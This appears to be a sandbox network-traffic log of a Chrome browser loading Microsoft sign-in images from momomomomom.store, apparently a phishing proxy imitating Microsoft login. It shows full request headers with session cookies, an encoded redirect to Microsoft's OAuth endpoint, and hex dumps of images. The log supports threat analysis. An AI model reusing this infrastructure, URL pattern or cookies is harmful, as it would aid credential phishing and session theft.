2024-05-07 18:29:01 UTC	2787	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:02 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:02 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 7da572db-201e-001c-76ac-a0a1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182901Z-1675f5555884sb6j61d2y8hc4c00000005mg00000000n9w3 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:29:02 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii! !&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlH I:qJk`BYL*&! ,`9iQ4Hj =k9-5_j7({ ! ,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49807	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:03 UTC	2792	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_aad_f83ebff69a4a1685e4dc9650cdab8886.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:03 UTC	785	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:03 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sat, 31 Oct 2020 02:21:09 GMT ETag: 0x8D87D43A145A2CC x-ms-request-id: 6f1788cc-901e-0033-0fac-a0b989000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182903Z-17859dc676b8gqsnhdbn22ug8n000000053000000001gt3y x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:29:03 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6 rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49806	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:03 UTC	2792	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/picker_account_msa_2d8f86059be176833897099ee6ddedeb.svg HTTP/1.1 Host: momomomomom.store Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://momomomomom.store/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9YzA2ZmQ4MDEtMjdjYy0zMmViLTA4ZWItYWIyMjIzZWZhMzVjJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzMzE4NTMxNTAwMC42M2EzOTllNy00NjgxLTRmMDItYWU5Yy1mZGMyNjViYjIyNzUmc3RhdGU9RGN0QkZvQWdDQUJScmRkeFNBUUJQWTZhYmx0Ml9WajgyVTBNSVp6dWNCRTl3WlNyb0NGenJzSlpFUEZXN3R6YU1paGFNNVNOQkgyMUNmdVpwRElHa1VuMDkwcnYxOU1Q&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:04 UTC	779	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:04 GMT Content-Type: image/svg+xml Content-Length: 254 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:39 GMT ETag: 0x8D79B8374511AB4 x-ms-request-id: fb5128e1-b01e-001d-30ac-a08aa7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182903Z-17859dc676bxnh4qauwv1y4bqs000000050g00000001wt9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:29:04 UTC	254	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 50 cb 6e c3 20 10 fc 15 44 af 78 59 30 06 5c d9 96 d2 7b 7f 20 37 cb a1 06 c9 79 c8 46 21 fd fb 9a 90 f6 54 0d 9a 59 98 59 ad 96 6e bb cf e4 71 5e 2e 5b 4f 7d 8c b7 77 ce 53 4a 90 6a b8 ae 33 97 88 c8 f7 04 25 29 9c a2 ef a9 b2 94 78 17 66 1f 4b 7d 0f 2e 7d 5c 1f 3d 45 82 44 d9 fd d0 a1 8b 21 2e 6e 18 b7 cd c5 ad e3 e5 d6 4d 61 9d 16 47 a6 3d 2b 15 25 d3 77 d1 b5 c8 57 58 96 9e be 39 9d 41 f9 d0 dd c6 e8 c9 a9 a7 9f a2 06 a5 58 ad bd 80 56 8e 16 b4 62 4f 42 26 32 0c 48 cb b0 98 02 a1 31 35 7b 09 66 54 1a 1a dd 56 2d 18 23 98 01 6d 0b e5 66 ac 0c b4 56 32 3c fc d3 c7 7e c7 1e cf 0a 6c 25 34 d4 f2 d0 80 d1 ec 49 65 b8 54 4c 36 39 96 df f4 8b b1 98 16 76 57 b4 fb b0 e3 df 76 0a 33 f2 76 f9 4f 87 1f 7d d7 81 14 7b 01 00 00 Data Ascii: mPn DxY0\{ 7yF!T YYnq^.[O}wSJj3%)xfK}.}\=ED!.nMaG=+%wWX9AXVbOB&2H15{ fTV-#mfV2<~ l%4IeTL69vWv 3vO}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49808	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:03 UTC	1698	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:04 UTC	761	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:04 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 7da572db-201e-001c-76ac-a0a1a5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182904Z-1675f5555884c8pzgrff9hhd4s00000000e000000000wfy6 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 18:29:04 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii! !&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlH I:qJk`BYL*&! ,`9iQ4Hj =k9-5_j7({ ! ,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49809	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:29:03 UTC	1704	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: momomomomom.store Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=AxaeKThWurNR; qPdM.sig=CVDwFDjZ4ozcWtzyJC0GeIr7hHc; ClientId=12D705722FB7452FB0AD373906C89A99; OIDC=1; OpenIdConnect.nonce.v3.KY9sv9g9Pshs6ar1NzzU0W8N6RSqzzXDgEFN-DwDdyc=638507033185315000.63a399e7-4681-4f02-ae9c-fdc265bb2275; X-OWA-RedirectHistory=ArLym14BuGiZg8Nu3Ag; esctx-bjOzqAbNZw=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8IgemtTTC9LW7qmHaWJvJnA1zYQxhG2ND3S2cSGtRL2YYfV8ypAElv4SCgLm9Preyh1c06_YlNh1SprOxWk8jSIvJvOGIcIAVgySCfatiP6q57lOpAggEZCsval4FboUtpJcjr0RDDdCtELrntv4kayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQUAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd81MtlzOMUqai_lrQ4OehTgaI6WT4Gwez8EegyOeoZfYtQiKO797WMjrfRHJHBqBTARqxI5m3J_dUVT21LfL2OGiqaYBt2a9dxces4osRFpysgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8W-fsv7Am8caeqHVPw8WIyoVIsOiN_QELm3hAg8L7YYdZSCIQsO6_guulyvonybNRYdr25beXe6dMX72VAvo1Cls1uzk4iyr5PLP0R2LyFNqUAVjaTEYWlcVyVhRhEoNGyhTqFi18lkC810TXU5UHG_4-lAK6ENVwRF3PEFyPN4cgAA; esctx-pKbecVQ71y0=AQABCQEA [TRUNCATED]
2024-05-07 18:29:04 UTC	741	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:29:04 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 32d29500-f01e-004d-12ac-a0e994000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T182904Z-17859dc676bkb6kwsetcp8s5vw000000060g00000000qtg7 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 18:29:04 UTC	2672	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 ff ff ff 96 96 96 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 06 00 00 00 30 00 03 00 00 02 1a 8c 01 16 88 ca ec 1e 3c f2 a9 18 1b b5 5b e6 9a 5c 4b 38 6a e5 74 72 a9 67 14 00 21 f9 04 09 03 00 00 00 2c 07 00 00 00 33 00 03 00 00 02 1a 8c 81 16 c8 ca ef 5e 3b 12 2a 0a e2 5c 55 4b df 5d 5c 86 25 e5 56 99 63 aa 14 00 21 f9 04 09 05 00 00 00 2c 0a 00 00 00 37 00 03 00 00 02 1a 8c 81 60 91 b9 ed 0e 6c 6f c6 c5 ee ac 90 5b bf 61 19 02 2a 52 77 7e 69 18 14 00 21 Data Ascii: GIF89a`!NETSCAPE2.0! ,`6PlH I:qJk`BYL&! ,0<[\K8jtrg! ,3^; \UK]\%Vc! , 7`lo[a*Rw~i!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49810	5.230.47.86	443	7112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
